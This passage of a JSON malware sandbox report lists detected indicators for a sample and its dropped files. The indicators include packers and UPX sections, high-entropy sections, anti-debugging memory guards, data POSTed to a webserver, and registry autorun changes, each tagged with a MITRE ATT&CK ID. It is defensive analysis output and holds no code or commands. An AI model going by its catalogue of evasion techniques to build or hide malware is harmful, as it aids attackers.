.NET\"\n \"windowsservice.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"QKTi8Lo.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"Install.exe\" was detected as \"VC8 -> Microsoft Corporation\"\n \"458cc4f7c3.exe\" was detected as \"Microsoft visual C# v7.0 / Basic .NET\"\n \"is-F524M.tmp\" was detected as \"ACProtect v1.3x - v1.4x DLL -> Risco Software Inc.\"\n \"011e5dec2e.tmp\" was detected as \"Borland Delphi 4.0\"\n \"jC9EsXW.tmp\" was detected as \"Borland Delphi 4.0\"\n \"is-NJ75U.tmp\" was detected as \"Visual C++ 2005 Release -> Microsoft\"\n \"_setup64.tmp\" was detected as \"Morphine v1.2 (DLL)\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-18","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"informative","category":"Unusual Characteristics","name":"Reads the windows installation language","description":"$ad","origin":"Registry Access","mitre_attack_id":"T1614.001","relevance":2,"id":"registry-26","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)","description":"\"1e58p2.exe\" is allocating memory with PAGE_GUARD access rights (Handle: FFFFFFFFFFFFFFFF); (PID: 3036)","origin":"API Call","mitre_attack_id":"T1562.001","relevance":10,"id":"api-1","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Looks up many procedures within the same disassembly stream (often used to hide usage)","description":"Found 33 calls to GetProcAddress@KERNEL32.DLL at 00000000-00000244-36590-1889-00FA7F84","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.007","relevance":10,"id":"stream-40","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"PE file is packed with UPX","description":"\"42058ad017.exe\" has a section named \"UPX0\"\n \"42058ad017.exe\" has a section named \"UPX1\"\n \"eNLe4nm_1_.exe\" has a section named \"UPX0\"\n \"eNLe4nm_1_.exe\" has a section named \"UPX1\"\n \"Wfo8KJM.exe\" has a section named \"UPX0\"\n \"Wfo8KJM.exe\" has a section named \"UPX1\"\n \"2O1249.exe\" has a section named \"UPX0\"\n \"2O1249.exe\" has a section named \"UPX1\"\n \"QWKgBhv.exe\" has a section named \"UPX0\"\n \"QWKgBhv.exe\" has a section named \"UPX1\"\n \"is-F524M.tmp\" has a section named \"UPX0\"\n \"is-F524M.tmp\" has a section named \"UPX1\"","origin":"Static Parser","mitre_attack_id":"T1027.002","relevance":10,"id":"static-7","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Anti-Reverse Engineering","name":"Section contains high entropy","description":"\"1475a3bb4ec2d699b19fcc965c7a133dd253fa1e7aa1aed1eb85604315f34882.bin\" has section name .rsrc with entropy \"7.877064232099034\"\n \"bEKVmef.exe\" has section name .text with entropy \"7.065767306815189\"\n \"QKTi8Lo.exe\" has section name .text with entropy \"7.975249486115545\"\n \"42058ad017.exe\" has section name UPX1 with entropy \"7.950094340734335\"\n \"eNLe4nm_1_.exe\" has section name UPX1 with entropy \"7.950471665458049\"\n \"Wfo8KJM.exe\" has section name UPX1 with entropy \"7.95059529018094\"\n \"2O1249.exe\" has section name UPX1 with entropy \"7.950326709281129\"\n \"QWKgBhv.exe\" has section name UPX1 with entropy \"7.9508826062602\"\n \"is-F524M.tmp\" has section name UPX1 with entropy \"7.9996895655788505\"\n \"is-F524M.tmp\" has section name .rsrc with entropy \"7.976335323612022\"\n \"is-NJ75U.tmp\" has section name .rsrc with entropy \"7.340113559622032\"","origin":"Static Parser","mitre_attack_id":"T1027.009","relevance":1,"id":"static-6","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"External Systems","name":"Sample was identified as malicious by at least one Antivirus engine","description":"4/26 Antivirus vendors marked sample as malicious (15% detection rate)","origin":"External System","id":"avtest-0","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"General","name":"Contains ability to find and load resources of a specific module","description":"FindResourceA@KERNEL32.DLL at 00000000-00003424-35301-35-0015468F\n FindResourceA@KERNEL32.DLL at 00000000-00003424-35301-51-00154FE0\n LoadResource@KERNEL32.DLL at 00000000-00003424-35301-57-00156298\n FindResourceA@KERNEL32.DLL at 00000000-00003424-35301-58-00156517\n FindResourceA@KERNEL32.DLL at 00000000-00003424-35301-71-00152CAA\n FindResourceW@KERNEL32.DLL at 00000000-00004348-41129-3701-00D51AC8","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1005","relevance":1,"id":"stream-32","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"General","name":"POSTs data to a webserver","description":"$ae","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":5,"id":"network-4","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"General","name":"Reads configuration files (.ini files)","description":"$af","origin":"API Call","mitre_attack_id":"T1083","relevance":4,"id":"api-6","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Drops executable files","description":"$b0","origin":"Binary File","mitre_attack_id":"T1105","relevance":10,"id":"binary-1","sources":[{"report_type":"sandbox","report_id":"697eae64b929208c09004b8c"}]},{"level":"suspicious","category":"Installation/Persistence","name":"Modifies auto-execute functionality by setting/creating a value in the registry","description":"\"